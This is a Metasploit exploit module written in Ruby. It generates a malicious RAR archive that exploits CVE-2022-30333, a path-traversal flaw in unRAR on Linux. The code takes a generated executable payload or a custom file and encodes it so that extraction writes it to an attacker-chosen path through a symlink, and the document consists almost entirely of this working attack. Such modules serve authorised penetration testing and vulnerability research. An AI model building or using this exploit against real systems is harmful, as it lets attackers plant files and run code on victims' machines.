##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE
  include Msf::Exploit::Format::RarSymlinkPathTraversal

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'UnRAR Path Traversal (CVE-2022-30333)',
        'Description' => %q{
          This module creates a RAR file that exploits CVE-2022-30333, which is a
          path-traversal vulnerability in unRAR that can extract an arbitrary file
          to an arbitrary location on a Linux system. UnRAR fixed this
          vulnerability in version 6.12 (open source version 6.1.7).

          The core issue is that when a symbolic link is unRAR'ed, Windows
          symbolic links are not properly validated on Linux systems and can
          therefore write a symbolic link that points anywhere on the filesystem.
          If a second file in the archive has the same name, it will be written
          to the symbolic link path.
        },
        'Author' => [
          'Simon Scannell', # Discovery / initial disclosure (via Sonar)
          'Ron Bowes', # Analysis, PoC, and module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-30333'],
          ['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],
          ['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],
          ['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],
        ],
        'Platform' => 'linux',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' => [
          [ 'Generic RAR file', {} ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2022-06-28',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),
        OptString.new('CUSTOM_PAYLOAD', [ false, 'A custom payload to encode' ]),
        OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../" - as well as a filename).']),
        OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (must be 12 characters or less; default: random)'])
      ]
    )
  end

  def exploit
    print_status("Target filename: #{datastore['TARGET_PATH']}")

    if datastore['CUSTOM_PAYLOAD'].present?
      print_status("Encoding custom payload file: #{datastore['CUSTOM_PAYLOAD']}")
      payload_data = File.binread(datastore['CUSTOM_PAYLOAD'])

      # Append a newline + NUL byte, since random data will be appended and we
      # don't want to break shellscripts
      payload_data.concat("\n\0")
    else
      print_status('Encoding configured payload')
      payload_data = generate_payload_exe
    end

    begin
      rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), datastore['TARGET_PATH'], payload_data)
    rescue StandardError => e
      fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")
    end

    file_create(rar)
  end
end
